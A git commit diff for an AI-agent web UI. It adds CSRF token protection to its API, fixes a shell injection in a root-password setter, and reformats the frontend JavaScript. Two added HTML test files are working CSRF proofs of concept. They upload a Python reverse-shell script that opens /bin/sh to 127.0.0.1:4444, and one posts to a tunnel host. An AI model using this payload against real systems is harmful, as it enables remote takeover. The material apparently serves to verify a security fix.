security fixes
- CSRF tokens implemented into api calls - password change shell injection fixed
frdel committed
Jun 24, 2025 at 14:19 UTC
1bb4123dcbe3fb442717e5894200bd59fb28e01a
15 files changed
+1820
-1507
python/api/csrf_token.py
new
+18
@@ -0,0 +1,18 @@
1
+import secrets
2
+from python.helpers.api import ApiHandler, Input, Output, Request, Response, session
3
+
4
+
5
+class GetCsrfToken(ApiHandler):
6
+
7
+ @classmethod
8
+ def get_methods(cls) -> list[str]:
9
+ return ["GET"]
10
+
11
+ @classmethod
12
+ def requires_csrf(cls) -> bool:
13
+ return False
14
+
15
+ async def process(self, input: Input, request: Request) -> Output:
16
+ if "csrf_token" not in session:
17
+ session["csrf_token"] = secrets.token_urlsafe(32)
18
+ return {"token": session["csrf_token"]}
python/api/health.py
+12
@@ -6,6 +6,18 @@ from python.helpers import git
6
7
class HealthCheck(ApiHandler):
8
9
+ @classmethod
10
+ def requires_auth(cls) -> bool:
11
+ return False
12
+
13
+ @classmethod
14
+ def requires_csrf(cls) -> bool:
15
+ return False
16
+
17
+ @classmethod
18
+ def get_methods(cls) -> list[str]:
19
+ return ["GET", "POST"]
20
+
21
async def process(self, input: dict, request: Request) -> dict | Response:
22
gitinfo = None
23
error = None
python/api/scheduler_tick.py
+8
@@ -11,6 +11,14 @@ class SchedulerTick(ApiHandler):
11
def requires_loopback(cls) -> bool:
12
return True
13
14
+ @classmethod
15
+ def requires_auth(cls) -> bool:
16
+ return False
17
+
18
+ @classmethod
19
+ def requires_csrf(cls) -> bool:
20
+ return False
21
+
22
async def process(self, input: Input, request: Request) -> Output:
23
# Get timezone from input (do not set if not provided, we then rely on poll() to set it)
24
if timezone := input.get("timezone", None):
python/helpers/api.py
+9
-2
@@ -3,14 +3,13 @@ import json
3
import threading
4
from typing import Union, TypedDict, Dict, Any
5
from attr import dataclass
6
-from flask import Request, Response, jsonify, Flask
6
+from flask import Request, Response, jsonify, Flask, session, request
7
from agent import AgentContext
8
from initialize import initialize_agent
9
from python.helpers.print_style import PrintStyle
10
from python.helpers.errors import format_error
11
from werkzeug.serving import make_server
12
13
-
13
Input = dict
14
Output = Union[Dict[str, Any], Response, TypedDict] # type: ignore
15
@@ -32,6 +31,14 @@ class ApiHandler:
31
def requires_auth(cls) -> bool:
32
return True
33
34
+ @classmethod
35
+ def get_methods(cls) -> list[str]:
36
+ return ["POST"]
37
+
38
+ @classmethod
39
+ def requires_csrf(cls) -> bool:
40
+ return cls.requires_auth()
41
+
42
@abstractmethod
43
async def process(self, input: Input, request: Request) -> Output:
44
pass
python/helpers/settings.py
+6
-1
@@ -1083,7 +1083,12 @@ def _dict_to_env(data_dict):
1083
def set_root_password(password: str):
1084
if not runtime.is_dockerized():
1085
raise Exception("root password can only be set in dockerized environments")
1086
- subprocess.run(f"echo 'root:{password}' | chpasswd", shell=True, check=True)
1086
+ _result = subprocess.run(
1087
+ ["chpasswd"],
1088
+ input=f"root:{password}".encode(),
1089
+ capture_output=True,
1090
+ check=True,
1091
+ )
1092
dotenv.save_dotenv_value(dotenv.KEY_ROOT_PASSWORD, password)
1093
1094
run_ui.py
+33
-26
@@ -1,4 +1,5 @@
1
import os
2
+import secrets
3
import sys
4
import time
5
import socket
@@ -6,7 +7,8 @@ import struct
7
from functools import wraps
8
import threading
9
import signal
9
-from flask import Flask, request, Response
10
+from typing import override
11
+from flask import Flask, request, Response, session
12
from flask_basicauth import BasicAuth
13
import initialize
14
from python.helpers import errors, files, git, mcp_server
@@ -24,7 +26,12 @@ time.tzset()
26
27
# initialize the internal Flask server
28
webapp = Flask("app", static_folder=get_abs_path("./webui"), static_url_path="/")
27
-webapp.config["JSON_SORT_KEYS"] = False # Disable key sorting in jsonify
29
+webapp.secret_key = os.getenv("FLASK_SECRET_KEY") or secrets.token_hex(32)
30
+webapp.config.update(
31
+ JSON_SORT_KEYS=False,
32
+ SESSION_COOKIE_SAMESITE="Strict",
33
+)
34
+
35
36
lock = threading.Lock()
37
@@ -119,6 +126,18 @@ def requires_auth(f):
126
return decorated
127
128
129
+def csrf_protect(f):
130
+ @wraps(f)
131
+ async def decorated(*args, **kwargs):
132
+ token = session.get("csrf_token")
133
+ header = request.headers.get("X-CSRF-Token")
134
+ if not token or not header or token != header:
135
+ return Response("CSRF token missing or invalid", 403)
136
+ return await f(*args, **kwargs)
137
+
138
+ return decorated
139
+
140
+
141
# handle default address, load index
142
@webapp.route("/", methods=["GET"])
143
@requires_auth
@@ -164,35 +183,23 @@ def run():
183
name = handler.__module__.split(".")[-1]
184
instance = handler(app, lock)
185
167
- if handler.requires_loopback():
168
-
169
- @requires_loopback
170
- async def handle_request():
171
- return await instance.handle_request(request=request)
172
-
173
- elif handler.requires_auth():
174
-
175
- @requires_auth
176
- async def handle_request():
177
- return await instance.handle_request(request=request)
186
+ async def handler_wrap():
187
+ return await instance.handle_request(request=request)
188
179
- elif handler.requires_api_key():
180
-
181
- @requires_api_key
182
- async def handle_request():
183
- return await instance.handle_request(request=request)
184
-
185
- else:
186
- # Fallback to requires_auth
187
- @requires_auth
188
- async def handle_request():
189
- return await instance.handle_request(request=request)
189
+ if handler.requires_loopback():
190
+ handler_wrap = requires_loopback(handler_wrap)
191
+ if handler.requires_auth():
192
+ handler_wrap = requires_auth(handler_wrap)
193
+ if handler.requires_api_key():
194
+ handler_wrap = requires_api_key(handler_wrap)
195
+ if handler.requires_csrf():
196
+ handler_wrap = csrf_protect(handler_wrap)
197
198
app.add_url_rule(
199
f"/{name}",
200
f"/{name}",
194
- handle_request,
195
- methods=["POST", "GET"],
201
+ handler_wrap,
202
+ methods=handler.get_methods(),
203
)
204
205
# initialize and register API handlers
test [conflicted].html
new
+61
@@ -0,0 +1,61 @@
1
+<html>
2
+ <body>
3
+ <script>
4
+ function submitRequest()
5
+ {
6
+ // First XMLHttpRequest to get the CSRF token
7
+ var tokenXhr = new XMLHttpRequest();
8
+ tokenXhr.open("GET", "http:\/\/localhost:50002\/csrf_token", false); // synchronous request
9
+ tokenXhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
10
+ tokenXhr.setRequestHeader("Accept", "*\/*");
11
+ tokenXhr.withCredentials = true;
12
+ tokenXhr.send({});
13
+
14
+ // Parse the token response
15
+ var tokenData = JSON.parse(tokenXhr.responseText);
16
+ var csrfToken = tokenData.token;
17
+
18
+ var xhr = new XMLHttpRequest();
19
+ xhr.open("POST", "https:\/\/participant-masters-estimates-digit.trycloudflare.com\/message_async", true);
20
+ xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
21
+ xhr.setRequestHeader("Accept", "*\/*");
22
+ xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundary2vhsFbdS6JottCc9");
23
+ xhr.setRequestHeader("X-CSRF-Token", csrfToken);
24
+ xhr.withCredentials = true;
25
+ var body = "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
26
+ "Content-Disposition: form-data; name=\"text\"\r\n" +
27
+ "\r\n" +
28
+ "\r\n" +
29
+ "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
30
+ "Content-Disposition: form-data; name=\"context\"\r\n" +
31
+ "\r\n" +
32
+ "4770cda2-faa5-40eb-91be-f45edbec9a34\r\n" +
33
+ "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
34
+ "Content-Disposition: form-data; name=\"message_id\"\r\n" +
35
+ "\r\n" +
36
+ "6ce5886d-f55c-4f74-a980-c483ee291349\r\n" +
37
+ "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
38
+ "Content-Disposition: form-data; name=\"attachments\"; filename=\"rev.py\"\r\n" +
39
+ "Content-Type: text/x-python\r\n" +
40
+ "\r\n" +
41
+ "import socket,os,pty\n" +
42
+ "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" +
43
+ "s.connect((\"127.0.0.1\",4444))\n" +
44
+ "os.dup2(s.fileno(),0)\n" +
45
+ "os.dup2(s.fileno(),1)\n" +
46
+ "os.dup2(s.fileno(),2)\n" +
47
+ "pty.spawn(\"/bin/sh\")\n" +
48
+ "\r\n" +
49
+ "------WebKitFormBoundary2vhsFbdS6JottCc9--\r\n";
50
+ var aBody = new Uint8Array(body.length);
51
+ for (var i = 0; i < aBody.length; i++)
52
+ aBody[i] = body.charCodeAt(i);
53
+ xhr.send(new Blob([aBody]));
54
+ }
55
+ submitRequest();
56
+ </script>
57
+ <form action="#">
58
+ <input type="button" value="Submit request" onclick="submitRequest();" />
59
+ </form>
60
+ </body>
61
+</html>
\ No newline at end of file
test.html
new
+65
@@ -0,0 +1,65 @@
1
+<html>
2
+ <body>
3
+ <script>
4
+ function submitRequest()
5
+ {
6
+ // First XMLHttpRequest to get the CSRF token
7
+ var tokenXhr = new XMLHttpRequest();
8
+ tokenXhr.open("GET", "http:\/\/localhost:50002\/csrf_token", false); // synchronous request
9
+ tokenXhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
10
+ tokenXhr.setRequestHeader("Accept", "*\/*");
11
+ tokenXhr.withCredentials = true;
12
+ tokenXhr.send({});
13
+
14
+
15
+ // Parse the token response
16
+ var tokenData = JSON.parse(tokenXhr.responseText);
17
+ var csrfToken = tokenData.token;
18
+
19
+ // Set the CSRF token as a cookie to match session["csrf_token"]
20
+ document.cookie = "csrf_token=" + csrfToken + "; path=/; SameSite=Strict";
21
+
22
+ var xhr = new XMLHttpRequest();
23
+ xhr.open("POST", "http:\/\/localhost:50002\/message_async", true);
24
+ xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
25
+ xhr.setRequestHeader("Accept", "*\/*");
26
+ xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundary2vhsFbdS6JottCc9");
27
+ xhr.setRequestHeader("X-CSRF-Token", csrfToken);
28
+ xhr.withCredentials = true;
29
+ var body = "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
30
+ "Content-Disposition: form-data; name=\"text\"\r\n" +
31
+ "\r\n" +
32
+ "\r\n" +
33
+ "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
34
+ "Content-Disposition: form-data; name=\"context\"\r\n" +
35
+ "\r\n" +
36
+ "4770cda2-faa5-40eb-91be-f45edbec9a34\r\n" +
37
+ "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
38
+ "Content-Disposition: form-data; name=\"message_id\"\r\n" +
39
+ "\r\n" +
40
+ "6ce5886d-f55c-4f74-a980-c483ee291349\r\n" +
41
+ "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
42
+ "Content-Disposition: form-data; name=\"attachments\"; filename=\"rev.py\"\r\n" +
43
+ "Content-Type: text/x-python\r\n" +
44
+ "\r\n" +
45
+ "import socket,os,pty\n" +
46
+ "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" +
47
+ "s.connect((\"127.0.0.1\",4444))\n" +
48
+ "os.dup2(s.fileno(),0)\n" +
49
+ "os.dup2(s.fileno(),1)\n" +
50
+ "os.dup2(s.fileno(),2)\n" +
51
+ "pty.spawn(\"/bin/sh\")\n" +
52
+ "\r\n" +
53
+ "------WebKitFormBoundary2vhsFbdS6JottCc9--\r\n";
54
+ var aBody = new Uint8Array(body.length);
55
+ for (var i = 0; i < aBody.length; i++)
56
+ aBody[i] = body.charCodeAt(i);
57
+ xhr.send(new Blob([aBody]));
58
+ }
59
+ submitRequest();
60
+ </script>
61
+ <form action="#">
62
+ <input type="button" value="Submit request" onclick="submitRequest();" />
63
+ </form>
64
+ </body>
65
+</html>
\ No newline at end of file
webui/index.js
+1118
-1068
@@ -1,25 +1,26 @@
1
import * as msgs from "./js/messages.js";
2
import { speech } from "./js/speech.js";
3
-
4
-const leftPanel = document.getElementById('left-panel');
5
-const rightPanel = document.getElementById('right-panel');
6
-const container = document.querySelector('.container');
7
-const chatInput = document.getElementById('chat-input');
8
-const chatHistory = document.getElementById('chat-history');
9
-const sendButton = document.getElementById('send-button');
10
-const inputSection = document.getElementById('input-section');
11
-const statusSection = document.getElementById('status-section');
12
-const chatsSection = document.getElementById('chats-section');
13
-const tasksSection = document.getElementById('tasks-section');
14
-const progressBar = document.getElementById('progress-bar');
15
-const autoScrollSwitch = document.getElementById('auto-scroll-switch');
16
-const timeDate = document.getElementById('time-date-container');
17
-
3
+import * as api from "./js/api.js";
4
+
5
+window.fetchApi = api.fetchApi; // TODO - backward compatibility for non-modular scripts, remove once refactored to alpine
6
+
7
+const leftPanel = document.getElementById("left-panel");
8
+const rightPanel = document.getElementById("right-panel");
9
+const container = document.querySelector(".container");
10
+const chatInput = document.getElementById("chat-input");
11
+const chatHistory = document.getElementById("chat-history");
12
+const sendButton = document.getElementById("send-button");
13
+const inputSection = document.getElementById("input-section");
14
+const statusSection = document.getElementById("status-section");
15
+const chatsSection = document.getElementById("chats-section");
16
+const tasksSection = document.getElementById("tasks-section");
17
+const progressBar = document.getElementById("progress-bar");
18
+const autoScrollSwitch = document.getElementById("auto-scroll-switch");
19
+const timeDate = document.getElementById("time-date-container");
20
21
let autoScroll = true;
22
let context = "";
21
-let connectionStatus = false
22
-
23
+let connectionStatus = false;
24
25
// Initialize the toggle button
26
setupSidebarToggle();
@@ -27,1250 +28,1297 @@ setupSidebarToggle();
28
setupTabs();
29
30
function isMobile() {
30
- return window.innerWidth <= 768;
31
+ return window.innerWidth <= 768;
32
}
33
34
function toggleSidebar(show) {
34
- const overlay = document.getElementById('sidebar-overlay');
35
- if (typeof show === 'boolean') {
36
- leftPanel.classList.toggle('hidden', !show);
37
- rightPanel.classList.toggle('expanded', !show);
38
- overlay.classList.toggle('visible', show);
39
- } else {
40
- leftPanel.classList.toggle('hidden');
41
- rightPanel.classList.toggle('expanded');
42
- overlay.classList.toggle('visible', !leftPanel.classList.contains('hidden'));
43
- }
35
+ const overlay = document.getElementById("sidebar-overlay");
36
+ if (typeof show === "boolean") {
37
+ leftPanel.classList.toggle("hidden", !show);
38
+ rightPanel.classList.toggle("expanded", !show);
39
+ overlay.classList.toggle("visible", show);
40
+ } else {
41
+ leftPanel.classList.toggle("hidden");
42
+ rightPanel.classList.toggle("expanded");
43
+ overlay.classList.toggle(
44
+ "visible",
45
+ !leftPanel.classList.contains("hidden")
46
+ );
47
+ }
48
}
49
50
function handleResize() {
47
- const overlay = document.getElementById('sidebar-overlay');
48
- if (isMobile()) {
49
- leftPanel.classList.add('hidden');
50
- rightPanel.classList.add('expanded');
51
- overlay.classList.remove('visible');
52
- } else {
53
- leftPanel.classList.remove('hidden');
54
- rightPanel.classList.remove('expanded');
55
- overlay.classList.remove('visible');
56
- }
51
+ const overlay = document.getElementById("sidebar-overlay");
52
+ if (isMobile()) {
53
+ leftPanel.classList.add("hidden");
54
+ rightPanel.classList.add("expanded");
55
+ overlay.classList.remove("visible");
56
+ } else {
57
+ leftPanel.classList.remove("hidden");
58
+ rightPanel.classList.remove("expanded");
59
+ overlay.classList.remove("visible");
60
+ }
61
}
62
59
-window.addEventListener('load', handleResize);
60
-window.addEventListener('resize', handleResize);
63
+window.addEventListener("load", handleResize);
64
+window.addEventListener("resize", handleResize);
65
62
-document.addEventListener('DOMContentLoaded', () => {
63
- const overlay = document.getElementById('sidebar-overlay');
64
- overlay.addEventListener('click', () => {
65
- if (isMobile()) {
66
- toggleSidebar(false);
67
- }
68
- });
66
+document.addEventListener("DOMContentLoaded", () => {
67
+ const overlay = document.getElementById("sidebar-overlay");
68
+ overlay.addEventListener("click", () => {
69
+ if (isMobile()) {
70
+ toggleSidebar(false);
71
+ }
72
+ });
73
});
74
75
function setupSidebarToggle() {
72
- const leftPanel = document.getElementById('left-panel');
73
- const rightPanel = document.getElementById('right-panel');
74
- const toggleSidebarButton = document.getElementById('toggle-sidebar');
75
- if (toggleSidebarButton) {
76
- toggleSidebarButton.addEventListener('click', toggleSidebar);
77
- } else {
78
- console.error('Toggle sidebar button not found');
79
- setTimeout(setupSidebarToggle, 100);
80
- }
76
+ const leftPanel = document.getElementById("left-panel");
77
+ const rightPanel = document.getElementById("right-panel");
78
+ const toggleSidebarButton = document.getElementById("toggle-sidebar");
79
+ if (toggleSidebarButton) {
80
+ toggleSidebarButton.addEventListener("click", toggleSidebar);
81
+ } else {
82
+ console.error("Toggle sidebar button not found");
83
+ setTimeout(setupSidebarToggle, 100);
84
+ }
85
}
82
-document.addEventListener('DOMContentLoaded', setupSidebarToggle);
86
+document.addEventListener("DOMContentLoaded", setupSidebarToggle);
87
88
export async function sendMessage() {
85
- try {
86
- const message = chatInput.value.trim();
87
- const inputAD = Alpine.$data(inputSection);
88
- const attachments = inputAD.attachments;
89
- const hasAttachments = attachments && attachments.length > 0;
90
-
91
- if (message || hasAttachments) {
92
- let response;
93
- const messageId = generateGUID();
94
-
95
- // Include attachments in the user message
96
- if (hasAttachments) {
97
- const attachmentsWithUrls = attachments.map(attachment => {
98
- if (attachment.type === 'image') {
99
- return {
100
- ...attachment,
101
- url: URL.createObjectURL(attachment.file)
102
- };
103
- } else {
104
- return {
105
- ...attachment
106
- };
107
- }
108
- });
109
-
110
- // Render user message with attachments
111
- setMessage(messageId, 'user', '', message, false, {
112
- attachments: attachmentsWithUrls
113
- });
114
-
115
- const formData = new FormData();
116
- formData.append('text', message);
117
- formData.append('context', context);
118
- formData.append('message_id', messageId);
119
-
120
- for (let i = 0; i < attachments.length; i++) {
121
- formData.append('attachments', attachments[i].file);
122
- }
123
-
124
- response = await fetch('/message_async', {
125
- method: 'POST',
126
- body: formData
127
- });
128
- } else {
129
- // For text-only messages
130
- const data = {
131
- text: message,
132
- context,
133
- message_id: messageId
134
- };
135
- response = await fetch('/message_async', {
136
- method: 'POST',
137
- headers: {
138
- 'Content-Type': 'application/json'
139
- },
140
- body: JSON.stringify(data)
141
- });
142
- }
143
-
144
- // Handle response
145
- const jsonResponse = await response.json();
146
- if (!jsonResponse) {
147
- toast("No response returned.", "error");
148
- }
149
- // else if (!jsonResponse.ok) {
150
- // if (jsonResponse.message) {
151
- // toast(jsonResponse.message, "error");
152
- // } else {
153
- // toast("Undefined error.", "error");
154
- // }
155
- // }
156
- else {
157
- setContext(jsonResponse.context);
158
- }
159
-
160
- // Clear input and attachments
161
- chatInput.value = '';
162
- inputAD.attachments = [];
163
- inputAD.hasAttachments = false;
164
- adjustTextareaHeight();
89
+ try {
90
+ const message = chatInput.value.trim();
91
+ const inputAD = Alpine.$data(inputSection);
92
+ const attachments = inputAD.attachments;
93
+ const hasAttachments = attachments && attachments.length > 0;
94
+
95
+ if (message || hasAttachments) {
96
+ let response;
97
+ const messageId = generateGUID();
98
+
99
+ // Include attachments in the user message
100
+ if (hasAttachments) {
101
+ const attachmentsWithUrls = attachments.map((attachment) => {
102
+ if (attachment.type === "image") {
103
+ return {
104
+ ...attachment,
105
+ url: URL.createObjectURL(attachment.file),
106
+ };
107
+ } else {
108
+ return {
109
+ ...attachment,
110
+ };
111
+ }
112
+ });
113
+
114
+ // Render user message with attachments
115
+ setMessage(messageId, "user", "", message, false, {
116
+ attachments: attachmentsWithUrls,
117
+ });
118
+
119
+ const formData = new FormData();
120
+ formData.append("text", message);
121
+ formData.append("context", context);
122
+ formData.append("message_id", messageId);
123
+
124
+ for (let i = 0; i < attachments.length; i++) {
125
+ formData.append("attachments", attachments[i].file);
126
}
166
- } catch (e) {
167
- toastFetchError("Error sending message", e)
127
+
128
+ response = await api.fetchApi("/message_async", {
129
+ method: "POST",
130
+ body: formData,
131
+ });
132
+ } else {
133
+ // For text-only messages
134
+ const data = {
135
+ text: message,
136
+ context,
137
+ message_id: messageId,
138
+ };
139
+ response = await api.fetchApi("/message_async", {
140
+ method: "POST",
141
+ headers: {
142
+ "Content-Type": "application/json",
143
+ },
144
+ body: JSON.stringify(data),
145
+ });
146
+ }
147
+
148
+ // Handle response
149
+ const jsonResponse = await response.json();
150
+ if (!jsonResponse) {
151
+ toast("No response returned.", "error");
152
+ }
153
+ // else if (!jsonResponse.ok) {
154
+ // if (jsonResponse.message) {
155
+ // toast(jsonResponse.message, "error");
156
+ // } else {
157
+ // toast("Undefined error.", "error");
158
+ // }
159
+ // }
160
+ else {
161
+ setContext(jsonResponse.context);
162
+ }
163
+
164
+ // Clear input and attachments
165
+ chatInput.value = "";
166
+ inputAD.attachments = [];
167
+ inputAD.hasAttachments = false;
168
+ adjustTextareaHeight();
169
}
170
+ } catch (e) {
171
+ toastFetchError("Error sending message", e);
172
+ }
173
}
174
175
function toastFetchError(text, error) {
172
- if (getConnectionStatus()) {
173
- toast(`${text}: ${error.message}`, "error");
174
- } else {
175
- toast(`${text} (it seems the backend is not running): ${error.message}`, "error");
176
- }
177
- console.error(text, error);
176
+ if (getConnectionStatus()) {
177
+ toast(`${text}: ${error.message}`, "error");
178
+ } else {
179
+ toast(
180
+ `${text} (it seems the backend is not running): ${error.message}`,
181
+ "error"
182
+ );
183
+ }
184
+ console.error(text, error);
185
}
179
-window.toastFetchError = toastFetchError
186
+window.toastFetchError = toastFetchError;
187
181
-chatInput.addEventListener('keydown', (e) => {
182
- if (e.key === 'Enter' && !e.shiftKey) {
183
- e.preventDefault();
184
- sendMessage();
185
- }
188
+chatInput.addEventListener("keydown", (e) => {
189
+ if (e.key === "Enter" && !e.shiftKey) {
190
+ e.preventDefault();
191
+ sendMessage();
192
+ }
193
});
194
188
-sendButton.addEventListener('click', sendMessage);
189
-
195
+sendButton.addEventListener("click", sendMessage);
196
197
export function updateChatInput(text) {
192
- console.log('updateChatInput called with:', text);
198
+ console.log("updateChatInput called with:", text);
199
194
- // Append text with proper spacing
195
- const currentValue = chatInput.value;
196
- const needsSpace = currentValue.length > 0 && !currentValue.endsWith(' ');
197
- chatInput.value = currentValue + (needsSpace ? ' ' : '') + text + ' ';
200
+ // Append text with proper spacing
201
+ const currentValue = chatInput.value;
202
+ const needsSpace = currentValue.length > 0 && !currentValue.endsWith(" ");
203
+ chatInput.value = currentValue + (needsSpace ? " " : "") + text + " ";
204
199
- // Adjust height and trigger input event
200
- adjustTextareaHeight();
201
- chatInput.dispatchEvent(new Event('input'));
205
+ // Adjust height and trigger input event
206
+ adjustTextareaHeight();
207
+ chatInput.dispatchEvent(new Event("input"));
208
203
- console.log('Updated chat input value:', chatInput.value);
209
+ console.log("Updated chat input value:", chatInput.value);
210
}
211
212
function updateUserTime() {
207
- const now = new Date();
208
- const hours = now.getHours();
209
- const minutes = now.getMinutes();
210
- const seconds = now.getSeconds();
211
- const ampm = hours >= 12 ? 'pm' : 'am';
212
- const formattedHours = hours % 12 || 12;
213
-
214
- // Format the time
215
- const timeString = `${formattedHours}:${minutes.toString().padStart(2, '0')}:${seconds.toString().padStart(2, '0')} ${ampm}`;
216
-
217
- // Format the date
218
- const options = { year: 'numeric', month: 'short', day: 'numeric' };
219
- const dateString = now.toLocaleDateString(undefined, options);
220
-
221
- // Update the HTML
222
- const userTimeElement = document.getElementById('time-date');
223
- userTimeElement.innerHTML = `${timeString}<br><span id="user-date">${dateString}</span>`;
213
+ const now = new Date();
214
+ const hours = now.getHours();
215
+ const minutes = now.getMinutes();
216
+ const seconds = now.getSeconds();
217
+ const ampm = hours >= 12 ? "pm" : "am";
218
+ const formattedHours = hours % 12 || 12;
219
+
220
+ // Format the time
221
+ const timeString = `${formattedHours}:${minutes
222
+ .toString()
223
+ .padStart(2, "0")}:${seconds.toString().padStart(2, "0")} ${ampm}`;
224
+
225
+ // Format the date
226
+ const options = { year: "numeric", month: "short", day: "numeric" };
227
+ const dateString = now.toLocaleDateString(undefined, options);
228
+
229
+ // Update the HTML
230
+ const userTimeElement = document.getElementById("time-date");
231
+ userTimeElement.innerHTML = `${timeString}<br><span id="user-date">${dateString}</span>`;
232
}
233
234
updateUserTime();
235
setInterval(updateUserTime, 1000);
236
229
-
237
function setMessage(id, type, heading, content, temp, kvps = null) {
231
- // Search for the existing message container by id
232
- let messageContainer = document.getElementById(`message-${id}`);
238
+ // Search for the existing message container by id
239
+ let messageContainer = document.getElementById(`message-${id}`);
240
234
- if (messageContainer) {
235
- // Don't re-render user messages
236
- if (type === 'user') {
237
- return; // Skip re-rendering
238
- }
239
- // For other types, update the message
240
- messageContainer.innerHTML = '';
241
- } else {
242
- // Create a new container if not found
243
- const sender = type === 'user' ? 'user' : 'ai';
244
- messageContainer = document.createElement('div');
245
- messageContainer.id = `message-${id}`;
246
- messageContainer.classList.add('message-container', `${sender}-container`);
247
- if (temp) messageContainer.classList.add("message-temp");
241
+ if (messageContainer) {
242
+ // Don't re-render user messages
243
+ if (type === "user") {
244
+ return; // Skip re-rendering
245
}
249
-
250
- const handler = msgs.getHandler(type);
251
- handler(messageContainer, id, type, heading, content, temp, kvps);
252
-
253
- // If the container was found, it was already in the DOM, no need to append again
254
- if (!document.getElementById(`message-${id}`)) {
255
- chatHistory.appendChild(messageContainer);
256
- }
257
-
258
- if (autoScroll) chatHistory.scrollTop = chatHistory.scrollHeight;
246
+ // For other types, update the message
247
+ messageContainer.innerHTML = "";
248
+ } else {
249
+ // Create a new container if not found
250
+ const sender = type === "user" ? "user" : "ai";
251
+ messageContainer = document.createElement("div");
252
+ messageContainer.id = `message-${id}`;
253
+ messageContainer.classList.add("message-container", `${sender}-container`);
254
+ if (temp) messageContainer.classList.add("message-temp");
255
+ }
256
+
257
+ const handler = msgs.getHandler(type);
258
+ handler(messageContainer, id, type, heading, content, temp, kvps);
259
+
260
+ // If the container was found, it was already in the DOM, no need to append again
261
+ if (!document.getElementById(`message-${id}`)) {
262
+ chatHistory.appendChild(messageContainer);
263
+ }
264
+
265
+ if (autoScroll) chatHistory.scrollTop = chatHistory.scrollHeight;
266
}
267
261
-
268
window.loadKnowledge = async function () {
263
- const input = document.createElement('input');
264
- input.type = 'file';
265
- input.accept = '.txt,.pdf,.csv,.html,.json,.md';
266
- input.multiple = true;
267
-
268
- input.onchange = async () => {
269
- try{
270
- const formData = new FormData();
271
- for (let file of input.files) {
272
- formData.append('files[]', file);
273
- }
274
-
275
- formData.append('ctxid', getContext());
276
-
277
- const response = await fetch('/import_knowledge', {
278
- method: 'POST',
279
- body: formData,
280
- });
281
-
282
- if (!response.ok) {
283
- toast(await response.text(), "error");
284
- } else {
285
- const data = await response.json();
286
- toast("Knowledge files imported: " + data.filenames.join(", "), "success");
287
- }
288
- } catch (e) {
289
- toastFetchError("Error loading knowledge", e)
290
- }
291
- };
269
+ const input = document.createElement("input");
270
+ input.type = "file";
271
+ input.accept = ".txt,.pdf,.csv,.html,.json,.md";
272
+ input.multiple = true;
273
293
- input.click();
294
-}
274
+ input.onchange = async () => {
275
+ try {
276
+ const formData = new FormData();
277
+ for (let file of input.files) {
278
+ formData.append("files[]", file);
279
+ }
280
+
281
+ formData.append("ctxid", getContext());
282
+
283
+ const response = await api.fetchApi("/import_knowledge", {
284
+ method: "POST",
285
+ body: formData,
286
+ });
287
+
288
+ if (!response.ok) {
289
+ toast(await response.text(), "error");
290
+ } else {
291
+ const data = await response.json();
292
+ toast(
293
+ "Knowledge files imported: " + data.filenames.join(", "),
294
+ "success"
295
+ );
296
+ }
297
+ } catch (e) {
298
+ toastFetchError("Error loading knowledge", e);
299
+ }
300
+ };
301
302
+ input.click();
303
+};
304
305
function adjustTextareaHeight() {
298
- chatInput.style.height = 'auto';
299
- chatInput.style.height = (chatInput.scrollHeight) + 'px';
306
+ chatInput.style.height = "auto";
307
+ chatInput.style.height = chatInput.scrollHeight + "px";
308
}
309
310
export const sendJsonData = async function (url, data) {
303
- const response = await fetch(url, {
304
- method: 'POST',
305
- headers: {
306
- 'Content-Type': 'application/json'
307
- },
308
- body: JSON.stringify(data)
309
- });
310
-
311
- if (!response.ok) {
312
- const error = await response.text();
313
- throw new Error(error);
314
- }
315
- const jsonResponse = await response.json();
316
- return jsonResponse;
317
-}
318
-window.sendJsonData = sendJsonData
311
+ return await api.callJsonApi(url, data);
312
+ // const response = await api.fetchApi(url, {
313
+ // method: 'POST',
314
+ // headers: {
315
+ // 'Content-Type': 'application/json'
316
+ // },
317
+ // body: JSON.stringify(data)
318
+ // });
319
+
320
+ // if (!response.ok) {
321
+ // const error = await response.text();
322
+ // throw new Error(error);
323
+ // }
324
+ // const jsonResponse = await response.json();
325
+ // return jsonResponse;
326
+};
327
+window.sendJsonData = sendJsonData;
328
329
function generateGUID() {
321
- return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) {
322
- var r = Math.random() * 16 | 0;
323
- var v = c === 'x' ? r : (r & 0x3 | 0x8);
324
- return v.toString(16);
325
- });
330
+ return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) {
331
+ var r = (Math.random() * 16) | 0;
332
+ var v = c === "x" ? r : (r & 0x3) | 0x8;
333
+ return v.toString(16);
334
+ });
335
}
336
337
function getConnectionStatus() {
329
- return connectionStatus
338
+ return connectionStatus;
339
}
340
341
function setConnectionStatus(connected) {
333
- connectionStatus = connected
334
- const statusIcon = Alpine.$data(timeDate.querySelector('.status-icon'));
335
- statusIcon.connected = connected
342
+ connectionStatus = connected;
343
+ const statusIcon = Alpine.$data(timeDate.querySelector(".status-icon"));
344
+ statusIcon.connected = connected;
345
}
346
347
let lastLogVersion = 0;
339
-let lastLogGuid = ""
340
-let lastSpokenNo = 0
348
+let lastLogGuid = "";
349
+let lastSpokenNo = 0;
350
351
async function poll() {
343
- let updated = false
344
- try {
345
- // Get timezone from navigator
346
- const timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;
347
-
348
- const response = await sendJsonData(
349
- "/poll",
350
- {
351
- log_from: lastLogVersion,
352
- context: context || null,
353
- timezone: timezone
354
- }
355
- );
352
+ let updated = false;
353
+ try {
354
+ // Get timezone from navigator
355
